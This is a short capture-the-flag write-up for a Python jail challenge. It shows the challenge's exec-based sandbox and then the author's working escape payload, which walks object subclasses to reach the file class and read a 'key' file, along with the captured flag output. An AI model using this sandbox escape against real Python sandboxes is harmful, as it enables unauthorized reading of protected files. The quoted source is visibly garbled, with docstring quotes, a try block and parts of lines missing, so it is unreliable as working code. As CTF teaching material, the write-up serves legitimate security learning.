code hacking, zen coding CTF – Python Jail Writeup

Challenge source code:

#!/usr/bin/env python
Running instructions.
 sockets are insecure. We do not implement any socket behaviour in this
 Please make this file +x and run with socat:
    socat TCP-LISTEN:45454,fork EXEC:./,pty,stderr

 Just execute and play on terminal, no need to run socat

 This challenge is a tribute to PHDays Finals 2012 challenge 'ndevice'.
 Thanks again, I had fun solving it.
 I'm fairly certain that this challenge avoids being exploitable by
 the tricks we could use in PHDays (the module "os" was imported...).
 So, no advantage for people who did not attend PHDays.

def make_secure():
        UNSAFE_BUILTINS = ['open',
         'input'] ## block objet?
         for func in UNSAFE_BUILTINS:
           del __builtins__.__dict__[func]

from re import findall

print 'Go Ahead, Expoit me >;D'

while True:
      inp = findall('\S+', raw_input())[0]
      print "inp=", inp
      a = None
      exec 'a=' + inp
      print 'Return Value:', a
    except Exception, e:
      print 'Exception:', e

As you guessed it, we need to escape the jail and read the content of a file named “key”.

Many many ways to solve this, I went with:

$ nc 2045

Go Ahead, Expoit me >;D
f = (t for t in (42).__class__.__base__.__subclasses__() if t.__name__ == 'file').next()('key')
Return Value: 5
a =
Return Value: FvibLF0eBkCBk